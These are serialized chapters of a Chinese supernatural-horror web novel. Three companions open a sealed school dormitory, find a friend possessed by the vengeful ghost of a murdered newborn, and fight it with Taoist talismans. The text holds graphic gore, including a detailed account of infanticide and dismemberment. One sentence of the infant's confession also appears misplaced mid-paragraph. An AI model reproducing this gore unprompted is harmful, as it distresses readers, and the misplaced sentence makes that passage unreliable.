他本能地感觉到周围的磁场在变化，身处这样的磁场中，若是普通人，虽然察觉不到寒气，但日久天长必然出现四肢无力、身体虚弱、甚至于精神恍惚的情况，而这里是中学，大部分会把身体的变化归咎于学习压力过大导致，反而给诡秘之事提供了隐蔽的借口。
其实，在人力之外，还有更可怕的东西作祟，人的感知能力较差，虽然无法察觉，但却容易产生生理性的变化，这就是为什么人在选择住处的时候会咨询风水先生，风水较好的地方，能汇聚灵气，滋养自身，而风水差的地方，反而会吸人精力，影响运程。
且说四个人结伴来到了四楼，且说一踏入四楼的楼梯口，便感觉到一股迎面而来的寒气，擦过耳畔的风声似乎带着几分嘈杂，从耳畔一吹而过，带走了脸颊的热度，消散于身后冰冷的空气中。
沈聆停下了脚步，回头看了一眼林凌和吴妄。
她的心中，多少是有点儿顾虑。
“……我只是在视频里看到明夷在一个很像宿舍的地方，但是我并不能保证那个地方是404女寝。”
“没关系，至少学校的事情和404脱不开关系，我们早晚也都要调查那里，我有感觉，只要查清楚404的事情，宋明夷的下落自然就水落石出。”林凌安慰。
沈聆看了一眼吴妄，在看到他眼神中的肯定之后，深吸了一口气，转头朝着走廊而去。
在这略显阴森的宿舍楼走廊里，左侧是一扇扇紧密闭合的宿舍门，它
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们整齐地排列着，所有的宿舍门都被漆成了白色，那白色在黑暗中显得有些刺眼，又透着几分诡异，每扇宿舍门的上面都镶嵌着一个长方形的玻璃窗，那玻璃窗就像是一只沉默的眼睛，冷冷地注视着走廊，不过，这玻璃窗是不可推开的，它将宿舍内的世界与走廊的空间彻底隔绝开来，仿佛在守护着宿舍里不为人知的秘密。
这些宿舍门像是一个个墓碑，隔绝了内外的世界。
走廊右侧是坚固的护栏，在黑暗中散发着冰冷的气息。正上方是白色的天花板，上面依次安装着圆形的灯，但此刻灯已经灭了，依稀可以看到白炽灯周围留下的黑色的印记。
这座纵向延伸的宿舍楼，仿若一条深邃的隧道，目光沿着走廊直直望去，便能看到宿舍楼道尽头处那遥远的教学楼，它在夜色中若隐若现，宛如一个模糊的幻影。
天色早已被黑暗完全笼罩，走廊里的每一寸空气仿佛都被寒气浸透，如同一丝丝冰冷的触手，缠绕在人的身上。迎面而来的风，从另一侧的楼梯口呼啸着吹来，那风声如同鬼魅的低吟，在寂静的走廊里回荡。
整个空间沉浸在一片浓稠的黑暗之中，沈聆已经在这片黑暗中待了很久了，她的眼睛逐渐适应了这种黑暗环境，但不知为何，她的心却愈加紧张起来，不安的感觉充斥着她的心房，尤其是在靠近404之后，那感觉便更明显了几分。
她下意识地揉了揉有些酸涩的眼睛，就在这时，她仿佛看到走廊尽头有一些模糊的黑影一闪而过，那黑影的速度极快，快到她甚至怀疑是自己的错觉。
——是我看错了吗？
她努力地眨了眨眼睛，歪着脑袋，全神贯注地朝着那个方向看去，试图捕捉到更多的信息，然而，眼前除了无尽的黑暗，再没有其他东西。
——是我看错了吧。
404宿舍在这条走廊上处于第四间的位置，这个位置在平时或许并没有什么特殊之处，但今晚，却似乎有着一种别样的神秘氛围。
三人的脚步声在空荡荡的走廊里回响，他们依次走过了401、402、403宿舍，每经过一扇门，都能感受到一种莫名的压抑。
当他们终于来到404宿舍门口的时候，所有人都像是被施了定身咒一般，猛地愣在了原地，在距离404几步之外的地方停住了脚步。
——在此之前，在他们的想象中，404宿舍的门应该是紧紧关闭着的，那扇门仿佛是一道禁忌的屏障，将所有的恐惧和不安都锁在里面，而且，门上应该密密麻麻地贴满了红色的、黄色的符咒，阻止着某些未知的东西逸出。
可现在，眼前的景象却让他们大惊失色。
宿舍门上黄色的封条已经不知所踪，只留下一些残留在门上的胶痕，见证着封条曾经的存在。那被撕下来的封条，就像被丢弃的垃圾一般，随意地躺在一旁的地面上，和封条一起丢弃的，还有许多符纸。
而404宿舍门竟半掩着，从那狭窄的黑色门缝中，宿舍里浓稠如墨的黑暗如同有生命一般，缓缓地流淌到走廊上，仿佛是黑暗中的某种存在在向他们发出无声的邀请，又像是一种危险的警告。
139. 视频通话
404女寝的门半掩着，仅仅开着一条狭窄的缝隙。
透过这道缝隙向里窥视，可以瞧见房间内一片漆黑，宛如深邃的黑洞，吞噬着一切光线和希望。
一股阴森森的气息扑面而来，令人不寒而栗。
风吹过走廊的时候，吹动着被撕掉后丢弃在地上的封条和符咒上，那风也带着莫名的寒意，沈聆注意到，刚才进入四楼的时候，风都是从走廊另一侧吹来的，但是现在，这一阵风，是从相反的方向吹来的。
——这是怎么回事？
沈聆站在门口，身体不由自主地颤抖起来，她忍不住打了个冷颤，寒意顺着脊梁骨迅速蔓延至全身，此刻，一种莫名的恐惧笼罩着她，让她的心跳愈发急促。
更为恐怖的是，一阵若有若无的风声从那门缝中悄然吹出。
这风阴冷异常，仿佛带着丝丝凉气，直吹得人毛骨悚然。就在这时，沈聆突然觉得自己好像听到了什么声音——是一个女孩子的哭声！
起初，这哭声极其轻微，如同蚊蝇嗡嗡一般，几乎难以察觉。
但当沈聆凝神屏息，努力去分辨时，那哭声渐渐变得清晰可闻。
"嘤嘤嘤......"
这哭声轻柔、纤细，就像一根细丝在黑暗中飘荡，绵延不绝，又好似有人躲在黑夜的角落里，拼命压抑着自己的悲伤，低声抽泣。
沈聆回过头看了一眼吴妄和林凌，压低了声音说道：“你们有听见有个女孩子的哭声吗？”
闻言，吴妄和林凌不由得皱起眉头，他们面面相觑，似乎在思考沈聆的话，周围没有人说话，若是说有什么哭声的话，他们应该能很清晰地听见才对，但是现在，他们并没有听到什么哭声。
两个男生摇了摇头，像是不太明白沈聆的话。
沈聆沉下心思考了一下，她想再听听那哭声是来自何处的时候，哭声却戛然而止地消失了。
那感觉就像是……
房内的某个正在哭泣的人突然发现了门外有人，从而停止了哭声。
沈聆侧身转向了404的房门，她犹豫着要不要进去。
她记得自己在视频里看到的宋明夷是坐在地上的，她也曾经是住宿生，她认出了宋明夷所在的位置应该是学生宿舍，但她并不能确定视频里的就是404宿舍，而且当时视频里宋明夷并没有哭出声，可现在，她听到的来自于404女寝的哭声或许并不是来自宋明夷。
因为这哭声太诡异了。
并不是因为害怕而哭泣，反而更像是……
想要引人进入的那种哭声。
“要进去吗？”林凌说着，就要带头第一个冲进去。
他是个警察，有危险挡在一线似乎已经是他的行动本能了。
沈聆抬手阻止了他。
“等一下，林警官，我觉得这个寝室里怪怪的。”
吴妄也点了点头，他蹲下身，视线落在掉在地上的符咒上：“这些符咒，是道家驱魔的符咒，红底黄底分属不同的作用，有的是镇宅，有的是驱邪，有的甚至只是不知道哪个学生瞎画的鬼画符……但无论如何，这些贴在门上的东西，并不是一般的鬼魂能摘掉的。”
他停顿了一下，拿起了其中一张符咒，将符咒翻了过来，发现符咒背面的胶水已经干了，甚至于符咒本身有点儿褪色。
“画这些符咒的墨水，一般都是特质的，不会这么容易褪色，而这些符咒几乎都和烂纸片一样……说明这栋宿舍楼里面，有一个修为不差的鬼魂，她的修为，能够压过这些符咒。”
“在我们来之前，并没有听说404女寝的封条被撕掉的消息，我怀疑这些封条和符咒是今天才被撕掉的。”
“是啊，好像是房间里有什么东西，撕掉了这些东西，要开门迎接我们一样。”吴妄抬眼看向了404女寝，从那门缝中，他看不清屋子里的动静，但他敏锐地捕捉到门后似乎有什么细微的摩擦声。
那声音，听起来似乎是有人压低了声音，朝着门口走来，并且对方的衣服摩擦过地板，发出了这细微的摩擦声。
——是察觉到我们了吗。
——开门迎客。
——你的目的是什么……
吴妄眉头深锁，不由得握紧了拳头。
就在这时，沈聆忽然想起了什么，她从口袋里拿出宋明夷的手机，重新点开了刚才发来宋明夷视频的那个短信页面。
她点击了一下发件人，发现发件的手机号码是一个陌生的号码。
沈聆犹豫了一下后，还是尝试着给这个号码直接回拨了一个电话。
“嘟……嘟……嘟……”
对方并没有挂断电话，而是响了很久，都没有人接听。
“嗡——”
突然，从那门后传来了一个奇怪的动静。
“你们有没有听到什么声音？”林凌察觉到了那奇怪的动静，他将耳朵贴在门板上，仔细听了一下。
“嗡——”
一阵轻微的响动传来，但它虽然轻柔得仿佛风拂过树叶般细微，可却带着一种无法让人忽视的存在感。
在这片万籁俱寂、宛如沉睡中的夜色里，那声音竟如同被施了魔法一般，被无限地放大开来。
那声音听起来究竟像是什么呢？
林凌不禁蹙起眉头，仔细聆听起来。
忽然间，他脑海中闪过一个念头：“难道是有手机在震动吗？”
想到这里，他迅速回过头去，将目光投向身旁的另外两人。
“嗡——”
那神秘的声音依旧持续不断地响着，而且愈发清晰起来。
这一次，所有人都能确切地听到了那诡异的动静！那种嗡嗡声的确与开启了静音模式的手机震动别无二致。
三人面面相觑，脸上皆浮现出疑惑不解的神情。
沈聆举起了宋明夷的手机，在手机屏幕上，显示着正在拨打一个号码，而对方迟迟没有接听，一直到转入忙音后，电话自动挂断。
“您拨打的电话暂时无法接通……”
电话那边，传来了客服的声音。
随着电话被挂断，门内的手机震动声也消失了。
“那把手机，给宋明夷发过短信的手机，就在门后。”沈聆沉声说道，她的视线始终放在门缝里，试图从
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那半开着的门缝中窥探一二，但却什么都没有看到。
人的好奇心是致命的。
比起全都关闭的门，半开着的门才更能引人好奇。
此刻，他们面前像是放着一个潘多拉魔盒，他们可以轻而易举地打开这个盒子，但却也知道打开盒子后，或许会面临更加恐怖的事情，他们和鬼不一样，他们的生命只有一次，谁都不敢保证门后是怎样的存在。
“进去看看吗？”沈聆询问其他两个人的意见。
吴妄和林凌也点了点头。
林凌站在门后，肩膀抵着房门，随时准备突入。
而吴妄也站起了身，随时准备好拿出桃木剑。
沈聆身后背着那个黑色的背包，她原打算今天在404女寝唤魂，问清楚这里到底发生了什么事情，但是现在看来，似乎一切进展都在她的预料之外，或许，她们三个并不想被唤出来说话，甚至于，带着几分敌意和攻击性。
就在三人准备进入404女寝的时候，突然，手机的铃声打断了他们的行动。
“——”
沈聆低下头，发现有人给宋明夷的手机打来了视频通话。
沈聆脸色一白，她发现，打来视频通话的号码，正是刚才她拨通但没人接听的号码。
“……”
她举起手机，指了指手机上的视频通话请求，又指了指404的宿舍门。
“要接听吗？”
“是里面打来的？”吴妄皱眉。
好家伙，他今天算是遇到最故弄玄虚的鬼了，这又是手机，又是符咒的，虽然还没有现出真身，但是已经将一行人震慑了几次。
“应该是。”林凌说着，将耳朵趴在了门板上，“我好像有听见房间里有视频通话的声音，但是只是忙音，正在拨打中。”
沈聆不知所措地看着吴妄，不知道该不该接这个视频通话。
“接。”
吴妄当机立断地说。
沈聆点了点头，在手机上点击了确认接通的按钮。
“滴。”
只听见手机传来了视频接通的声音，下一秒，手机中的画面延迟了一下，沈聆皱着眉头睁大眼睛，对面似乎在拍摄一个很摇晃的画面。
吴妄和林凌也不由得凑集了沈聆，他们看见在画面中似乎有什么黑色的影子蹿了过去！
定睛一看，画面整体是黑乎乎的，像是在一个全黑的房间里拍摄的，画面中没有声音，但是可以看到镜头正移动，而且移动的角度很诡异、很晃动，似乎拍摄视频的人拿不稳这把手机。
在视频中，镜头转移到了白色的门板上，并沿着门板往上移动，最后，出现在镜头前的是一扇略微蒙尘玻璃窗。
从玻璃窗的内侧往外看去，外面是无边的夜色，随后，镜头转变了一个角度，往下看，可以看到有三个人此刻正站在门口。
是沈聆、林凌和吴妄！
三人下意识地抬起头，看到了在404宿舍门的正上方，似乎有一个黑色的影子正趴在门上的玻璃内看着自己，一双血红色的眼睛在夜色中闪动，那黑色的影子咧开嘴笑了，那张嘴里满是血色。
140. 宋明夷中邪
就在林凌、吴妄和沈聆缓缓抬起头来的那一瞬间，一张惨白得毫无血色的面孔竟突然出现在404女寝宿舍门正上方那块玻璃之后！
这块玻璃乃是毛玻璃，其表面显得模糊而又粗糙，致使那人的面容也随之被模糊化了些许。
然而，即便如此，他们还是能够依稀辨认得出，在那一片漆黑的轮廓之中确有这样一个身影存在。
只见她那双眼睛里闪烁着妖异的红光，犹如燃烧着两团熊熊烈火一般，摄人心魄，微微上扬的嘴角勾勒出一抹诡异至极的弧度，仿佛正在嘲笑着眼前这三个不速之客。
她就这样居高临下地凝视着下方的三人，眼神中透露出一种难以言喻的兴奋与期待，就好像是看见了令她极度兴奋的猎物，亦或是发现了自己一直以来都极为感兴趣的某种存在。
“嘶……”
三人见状不由得后退了几步，他们发现那人脸上那原本就已颇为深刻的笑意竟是变得越发浓郁起来，让人不禁感到一阵寒意从脊梁骨上迅速蔓延开来。
“是明夷！”
沈聆一眼认出了毛玻璃另一侧的那个人，她十分熟悉宋明夷的轮廓，她的脸蛋是可爱的鹅蛋脸，此刻，那毛玻璃虽然显形模糊，但依稀可以认出那是宋明夷的轮廓。
“走！”
林凌话音刚落，便撞开了宿舍门。
随着他推门而入，一阵肃杀之气扑面而来，那味道在血腥味中夹杂着几分腐烂的气息，就像是从屠宰场中发出的味道一般，这股气流直接擦过了他们的鼻梁、眼睛、鬓发，最后消散在身后的空气中。
似乎有三个半透明的轮廓在眼前一闪而过，接着，一个黑色的重物掉落在门后的地上。
“咚。”
那声音沉闷着，听起来像是一个水泥沙袋落在地上。
冲入房间里的三人定睛一看，发现摔在地上的正是宋明夷本人！
众人定睛一看，只见她的衣裳已尽数被剥离，浑身上下仅存那贴身的衣物，松垮地挂在身上。她那原本梳理整齐的秀发此刻也变得凌乱不堪，如同一团乱麻般肆意散开，整个人就这样毫无生气地摔倒在地——远远望去，她宛如一个被人遗弃的破旧玩偶，孤零零地躺在那里，无人问津。
仔细一瞧，她的发丝间、肌肤之上，皆沾染着尚未干涸的斑斑血迹，显得触目惊心，尤其是那脖颈处，竟有一道深深的穿透性伤口，鲜血从中源源不断地涌出，犹如泉眼一般汩汩流淌。
【为什么要打掉我……】
【为什么要抛弃我……】
此时的她背对着在场的三人，低垂着头颅，满头长发如同黑色的瀑布垂落而下，将她的面容严严实实地遮盖住，似乎在碎碎念着什么奇怪的句子。
然而，即便如此，他们依旧能感觉到她身体散发出的阵阵恐惧与不安。
只见她的双手双脚不停地在宿舍的地板上胡乱抓挠着，划出一道道浅浅的痕迹。她的动作就好似一只受惊的野兽，突然间置身于全然陌生的环境之中，内心的恐慌愈发强烈，从而引发了激烈的应激反应。
【为什么不要我了……】
从她微微张开的双唇之间，不时传出一阵低沉而又沙哑的呢喃声，这声音与宋明夷平日里清脆悦耳的声线截然不同，仿佛此时此刻，另有一个灵魂悄然附着于她的躯体之上，正在借她之口诉说着某些不为人知的秘密。
在她身后，是一片狼藉的宿舍。
宿舍内，学生的日用品已然清空，仅存两张上下铺的学生床以及阳台前的一张书桌与一个带有镜子的衣柜。
但见宿舍中符纸四处散落，部分贴于床铺之上，部分贴在窗户之处，还有的落在地面，整个场面一片凌乱。
房间正中央有一红色圆圈，不知是由何种液体绘制而成，此红色圆圈与方才沈聆在视频里看到的宋明夷身下所坐的红色圈子想必是同一个。
“明夷……”
沈聆往前走了一步，她发现，那血腥味和腐烂味，就是来自于宋明夷身上。
由于现场有另外两个男人，且此刻宋明夷身上衣不蔽体，沈聆忙放下了身上的黑色背包，脱下自己的外套，想披在宋明夷身上。
“沈聆，别靠近！”
吴妄刚出声制止，沈聆已经将外套披在了宋明夷身上。
在外套接触到她的身体的时候，她像触电一样猛地回过头，这一回头，吓了所有人一跳！
——只见她一双血红色的眼睛睁得老大，看起来像是瞳孔、眼白全都充血一样，她愣怔地看着沈聆，惨白的脸上血管呈现出死灰色，她的脸颊、鼻梁、嘴角全都被抓破了，那细长的抓痕看起来像是野兽留下的痕迹，一张小脸满是血红色的爪痕，触目惊心。
“为什么……要放弃我？”
她就这么盯着沈聆，从充血的眼眸中，两行血泪流下，似乎说到了她的伤心事，又似乎在质疑这曾经发生的某个悲剧。
沈聆愣了一下，她为她披外套的动作也硬生生地停顿：“你……”
“为什么要放弃我！”
宋明夷重复了一遍这句话，而这一次，她语气更抓狂了几分，像是反复质问出自己的内心的困惑和悲苦，皱起眉头，眼睛瞪得老大，看着沈聆的目光中燃烧着熊熊的怒火！上下牙齿磨合得嘎吱嘎吱作响，那翻涌在心底的仇恨之火似乎也燃烧上她的脑袋，她死死盯着沈聆，恨不得将所有靠近她的人生吞活剥！
“她中邪了，有不干净的东西在她身上。”
吴妄话音刚落，说时迟那时快，下一秒宋明夷直接朝沈聆扑了过来！
“小心！”
林凌眼疾手快，直接将沈聆往旁边一扑，他推开了沈聆，宋明夷直接扑倒在林凌身上，将他推倒后，坐在他身上，张开满是鲜血的嘴巴，白色的牙对着林凌的脖颈直接一口咬了下去。
林凌下意识地抬起手挡在自己身前，宋明夷一口咬在他的胳膊上，她杏眼圆睁，怒目而视，就这么近距离地死死盯着林凌，咬着他的嘴巴一点没有松开的意思，甚至撕扯着他的手臂，试图将小臂上的肉生生咬下来！
林凌咬紧牙关，忍不住发出吃痛的声音，宋明夷的力气似乎比平常时候更大一点，一种不属于她自身的力量似乎在控制着她的身体，她压在林凌身上，仿佛有千斤重量，一手按着他的肩膀，
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另一手抓着他的胳膊，她并不在乎自己攻击的人是谁，只要是眼前还在喘气的人，似乎都是她的攻击目标！
林凌看着近在咫尺的宋明夷，白色的唾沫从她的嘴角流出，她像是一条发了疯的恶犬一样，对所有靠近她的人无差别攻击，那双眼睛里已经明显失去了理智，认不出眼前的人曾经是自己的伙伴。
林凌看着宋明夷那双血红色的眼睛，脑海中不由得回想起宋明夷往日里明媚的笑容。
“宋明夷！你醒一醒！你被上身了！”
“林警官！”
沈聆想上去拉开宋明夷，但下一刻吴妄拉住了她。
她无措地转头看去，正对上吴妄那双平静如水的眼眸。
“不要靠近她，她很危险，有一个怨念很强的东西在这个空间里，她是被那个东西控制了。”
吴妄说着，从口袋里拿出了一张符咒，沈聆一眼认出了那张符咒。
是之前吴妄用过的雷符！
“九天惊雷，最能除净世间罪恶，我不管你是什么不干净的杂碎，现在马上从我朋友身上离开！”
他说着，手中的雷符一甩，飞向了宋明夷。
在雷符即将接触到宋明夷的时候，忽然，停在了半空，硬生生的，就像是……贴在了某个透明的东西身上。
宋明夷还在撕咬林凌的手臂，但明显可以看到，在雷符贴在某个东西身上的时候，宋明夷动作一顿、身体一僵，似乎控制着她的某个东西瞬间愣怔了几秒。
“哦，你就是盘踞在这个宿舍里的不干净的东西吧。”吴妄眯起眼睛，他的眼眸中流露出了几分锐气，“恶鬼！死到临头还不速速离去？！”
他抬起右手，在空中划过一道弧度，一把带着鎏金图案的桃木剑凭空出现在他的手中。
他反手握住那把桃木剑，动作行云流水般自然流畅，接着又一次将桃木剑以凌厉之势划过另一道弧度。
瞬间，一层闪耀着璀璨金光的结界便在宿舍范围内悄然展开——这层金色的结界宛如一面坚不可摧的透明盾牌，稳稳地将404宿舍严密地笼罩于其中，它就像是一道隔音的屏障，使得任何发生在这间宿舍内的声响都无法传递出去，从而确保不会惊扰到隔壁宿舍的学生们。
做好这一准备后，站在原地的吴妄微微眯起双眼，他已经打算开始驱鬼！
他的眼神中透露出一种难以言喻的专注与坚毅，紧接着，他脚下突然光芒大盛，一个古老而复杂的奇门八卦阵缓缓浮现出来。
吴妄将手中锋利无比的剑锋径直对准了那张悬浮在空中的雷符。
只听他口中高喊：“惊雷，落！”
话音未落，原本平静的夜空中忽然闪过一道耀眼夺目的闪电。
刹那间，整个夜空被照得亮如白昼，就连404女生寝室也在这强烈的光芒映照之下无所遁形。
“轰隆——”
下一秒，雷声响起，雷符引来了九天惊雷，那惊雷如一条张牙舞爪的巨龙，携带着毁天灭地的气势，以惊人的速度划破长空，呼啸着落在宿舍楼中，直接穿透了窗户，朝着符咒贴着的方向落去。
“小心！”
141. 婴灵
“九天惊雷，落！”
伴随着吴妄这声怒吼，只听得窗外的夜空中轰然一声巨响，仿佛要震碎苍穹一般。
刹那间，一道耀眼至极的白光划破漆黑如墨的夜空，宛如一把锋利无比的巨剑，硬生生地将那夜幕撕开了一道巨大的口子。
从那撕裂开来的口子之中，璀璨夺目的天光猛然乍现，犹如黎明破晓时分的第一缕曙光，瞬间驱散了无尽的黑暗，这道白色光芒如此强烈，以至于它迅速照亮了整片天际，使得原本昏暗的大地也变得亮如白昼。
就在这短暂而震撼人心的瞬间里，天地之间所有潜藏于暗处的妖魅邪祟都无所遁形。它们惊恐地颤抖着，试图躲避这强大的光明力量，但却无处可逃。
紧接着，那自九天之上滚滚而来的雷火犹如一条张牙舞爪、威猛无匹的苍龙，咆哮着从云层中破开的口子奔腾而下，它在空中划出一道惊心动魄的弧形轨迹，携带着毁天灭地般的气势，直直地向着陵川一中坠落而去。
当雷火穿过那布满尘埃的窗户时，更是展现出了其无与伦比的威力。
“轰隆——”
窗户上张贴的符咒在这股强大能量的冲击之下，纷纷化作齑粉飘落而下。
雷火以势不可挡之势继续前进，毫不留情地朝着那张悬浮在半空中的雷符猛扑过去！
“小心！”
沈聆惊呼了一声，下一秒，只听见轰隆的雷声在耳畔响起，那雷声砸得人耳膜一片生疼，她忍不住捂住耳朵，看见惊雷砸在了雷符所在的位置，下一刻，“噼里啪啦”的声音在密闭的宿舍内响起！
一个白色的半透明的东西随着惊雷的落下，出现在空气中。
沈聆皱起眉头，发现一个状如婴儿的魂体一样的东西浮现在半空中！
就在这时，令人毛骨悚然的一幕发生了！
只见那个神秘的东西就这般静静地飘浮在宋明夷的身后，那东西在雷火的作用下，显现出了半透明的身躯，身躯宛如一个十月怀胎分娩而下的婴儿，那婴儿男女模辩，如同恶魔般，在它身上张开了无数道密密麻麻的细丝，犹如蜘蛛网一般错综复杂地盘绕在房间的各个角落，雷火灼烧着，让那些白色的半透明的丝线散发出刺鼻的烧焦味，同时，也让他们看清了这房间更深层的、交织错乱的魂气——
那些细丝从婴孩身体里射出，宛如洁白如雪的蛛丝，它们沾粘到宿舍内的各个角落，有的紧紧地依附在床边，有的则平铺在冰冷的地板上，有的牢固地吸附在了高高的天花板上。
这些纤细的蜘蛛丝使得那东西能够在这小小的空间里自由灵动地穿梭往来，仿佛这里就是它的领地一般。而且看起来，它早已悄悄地寄生在了404女生寝室之中，并且一直在这片区域默默地潜伏着，等待着某个时机的到来。
即便这间宿舍的墙壁上贴满了各式各样具有辟邪驱邪作用的符咒，但是对于这个可怕的存在而言，似乎并没有产生丝毫的破坏和驱赶之效。
这些看似普通的蜘蛛丝实际上原本是完全透明且不可见的，然而，在一道突如其来的惊雷猛烈轰击之下，维持其隐形状态的强大法力似乎受到了一定程度的干扰和削弱，从而导致部分蛛丝被迫显露出身形，暴露在漆黑的夜色之中。她用那把小小的眉刀，一下一下切开了我的身体，
更让沈聆倒吸一口气的是，她发现还有一些蛛丝更是直接缠绕在宋明夷的身体上！
蛛丝缠绕在宋明夷的胳膊、脑袋、身体上，她像是一个提线木偶一样，哪怕是脸上也缠绕着许多蛛丝，那些蛛丝牵扯着宋明夷的表情、动作，顺着蛛丝传送的，还有来自那恶鬼的魂力，正是那可怕的魂力，操控着宋明夷中邪！
“你们这些该死的人……”
被惊雷所扰，这半透明的婴孩气急败坏地转过头来，恶狠狠地瞪视着吴妄，它的五官都是模糊的，没有眼耳口鼻，但是不知道为什么，隐隐有怒意出现在那张模糊不清的脸上。
那双圆溜溜的小手正紧紧地环抱在自己瘦弱的身体周围，仿佛想要掩盖住什么不堪入目的秘密，它蜷缩着身体，仿佛在母体中安然发育的胎儿，它的身上还连着一根脐带，它双手抱着那根脐带，似乎不愿意切断和母体的联系，只不过，脐带的另一端被切断了。
此刻，它那丑陋的样貌毫无遗漏地暴露在世人的眼中，这被人一眼看穿的感觉令它感到无比的愤怒和羞耻。
它动了动手上的蜘蛛丝，原本趴在林凌身上啃咬的宋明夷一下子退开了几步之外，四肢着地，压低脑袋怒吼着，如同一个野兽一样歪着脑袋盯着沈聆和吴妄，随时准备冲上来撕咬他们。
“原来如此，你是个刚降生就被抛弃的孩子吧。”吴妄抬起手，不动声色地将沈聆护在自己身后，但那双眼睛始终盯着悬浮在半空中的婴孩身上，“真是可怜啊，看你的样子，脐带都没有剪短就被丢弃了，你的母亲还真是狠心。”
一听这话，婴孩像是被激怒一样，身上的缠绕着的煞气更扩散了几分。
它握紧了拳头，没有嘴巴的它不会说话，但作为阴灵的它因为吸收了日月精华、又长期在人多的地方待着，因此也能听懂人的话，它自然听懂了吴妄口中的讽刺，也听懂了自己被一眼看穿的悲剧。
沈聆拉了拉吴妄的衣角，想让他不要激怒阴灵。
但吴妄却铁了心，继续毒舌地说：“你看看你，一直待在女生宿舍是为什么？是因为这里阴气重吗？”
“不完全是吧……我猜，这里应该是你降生的地方，同时，也是你死亡的地方。”
“你的母亲在这里生下你，说明她很可能是一个学生，而你，是一个本不该存在的孩子，某个女高中生尝了禁忌之果后，不小心怀孕了，她没有选择一开始就流产、打掉你，这是为什么？我很好奇。”
静谧的空气中，吴妄的声音一个字一个字地落下，仿佛带着几分沉重的分量。
宋明夷四肢着地地趴在地上，她看起来像是一只人形蜘蛛一样，微微抬起头看着吴妄，眼眸中充斥着愤怒，牙齿咬的嘎嘎作响。
吴妄似乎在激怒那阴灵，试图从阴灵身上找到更多的线索，就在这时，沈聆隐隐约约看见婴孩身上似乎有什么金光闪闪的东西，那东西看起来像是……
鳞片？
她愣了一下，抬起手揉了揉眼睛，仔细一看后，竟然发现婴孩的双腿是没有分
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开的！
刚才阴灵是背对着他们的，所以他们在它身后看得并不真切，现在吴妄在试图激怒那阴灵，它转过身看着他们，他们便得以逐渐看清那孩子的正面……
是的。
正常的怀胎十月的孩子，双腿应该是自然分开的，但眼前这个阴灵，它的双腿依旧是黏连着的状态，它似乎是一个发育迟缓的孩子，又似乎是一个天生畸形的孩子，它的双腿并拢在一起，皮肤和骨骼并没有分开，看起来就像是……
鱼的尾巴！
“道长，那是一条鱼的尾巴，它是……人鱼的孩子？！”
“哈哈哈哈——”突然，宋明夷大笑了起来，沈聆寻声看去，发现宋明夷那双血红色的眼眸正看着他们，“我是一个一出生就没有人要的孩子，我的母亲抛弃了我，我本来就不应该来到这个世界上，既然不想要我，为什么又要生下我后杀死我呢……”
沈聆明白了，婴孩本身是不会说话的，它只能通过蛛丝操控宋明夷，让宋明夷成为它发声的工具。
它刚出生，还不会走路，所以它操控的宋明夷，也是四肢着地地爬行，宛如新生儿。
它一出生就死了。
它还没有来得及睁开眼睛看一看这个世界，就被生下自己的母亲杀死了。
它被困在了某一天，被困在了某一个空间里。
它心里十分愤怒，它是带着满腔期待来到这个世界上，但不公平的是，它却没有享受过任何的关爱和呵护，迎接它的，只有冰冷的死亡。
它的世界，一直都是黑暗的。
“……你的母亲是谁？你一直留在这个宿舍里，是因为你的母亲是404宿舍四个女生中的某一个女生吗？”沈聆追问。
对这孩子不幸的同情倒是冲淡了几分她内心的恐惧，她抓着吴妄的衣角，颤抖着声音问出了自己内心的困惑。
宋明夷冷冷地扯了扯嘴角，开口说道：“我的母亲？我不知道她叫什么，我只知道……她的眼角有一颗痣，哈哈哈哈，我还没来得及细看，就被她用眉刀割喉了……喷出来的血，染红了卫生间的镜子，我在哭，但是她用手捂住了我的嘴，好像我的存在是什么恶心的东西……再后来，她用那把小小的眉刀，一下一下切开了我的身体，把我冲进了下水道里。”
“所以，404里的那三个女孩子，突发急症、一夜猝死的那三个女孩子，也是你杀死的吗？”沈聆的视线落在宋明夷身后的房间里，似乎还能想象那三个女孩子死亡的惨状。
听说，她们死前眼睛睁得老大，双手掐着自己的喉咙，像是被什么东西缠住了脖子窒息而死。
“……我明白了，是你的线，是你的线杀了她们！”
闻言，宋明夷反倒是哈哈大笑起来：“对呀，哈哈哈哈哈哈哈哈哈哈哈哈，挺好玩的，你们都不知道她们死的时候那种样子，想想就好玩！只可惜我的修为不够，只限于这间宿舍，否则，我要整栋楼的人都给我陪葬！她们都不配活着！”
她话锋一转。
在她身后的衣柜玻璃上，倒映出了三个白色的女鬼。
“而现在，你们和她们一样，也要成为我的祭品之一！”
142. 分娩
“而现在，你们和她们一样，也要成为我的祭品之一！”
宋明夷话音刚落，沈聆惊恐地看见在衣柜上的镜子里，突然出现了三个白色的女鬼的影子！
她们并排站在镜子里，看起来就像是被困在了镜子后的那个空间。
宋明夷和阴灵背对着镜子，那三个女鬼像是阴灵掌控下无法转世投胎的女孩子，她们低着头，披散着头发，身上穿着白色的寿衣，每个人的脖子上都有一圈红色的凹痕，看起来死前是被活活勒死的。
——你到底……有什么怨恨……
沈聆看着镜子里的三个鬼魂不由得倒吸了一口气。
就在这时，沈聆身上的灵元草像是听到了她的困惑，忽然发出了一道柔和的光。
灵元草那黄绿交错的光线瞬间笼罩着沈聆。
——啊……
她微微睁大了眼睛，一瞬间，灵元草的力量让她回溯了时间，那些曾经在这间宿舍里发生过的事情、再一次展现在她的眼前——
那是一个闷热的午后。
树上的知了都懒得叫唤几声。
一年前的8月31日，是刚开学的日子。
学们推着自己的行李箱，陆续回到宿舍，办理入学手续，也就是在那一天，这孩子经过了十月怀胎，第一次来到这个世界上。
都说。
每一个孩子降临到这个世界上之前，都会选择自己的妈妈。
是孩子选择了妈妈，妈妈选择了爸爸。
它在天上的时候，和其他孩子一样，选好了自己的妈妈，满心欢喜地来到这个世界，但没想到，自己出生的地方不是医院的产房，而是一间小小的卫生间。
没错。
这狭窄的卫生间里，它出生了。
出生的第一眼，看到的不是穿着医生护士，而是一个穿着染血睡衣的年轻女孩，它眨了眨眼睛，依稀想起了这似乎是自己在天上选择的妈妈的脸，但奇怪的是，妈妈的脸上并没有喜悦和笑意，相反，在看到它的那一刻，对方眼眸中染上了一种莫名的惊恐和无措。
特别是在看到它的双腿的时候，那惊恐的表情更重了几分。
【怎么了嘛？】
【是我长得不好看吗？】
它是这么揣测的，用小小的脑袋思考着这些较为复杂的问题。
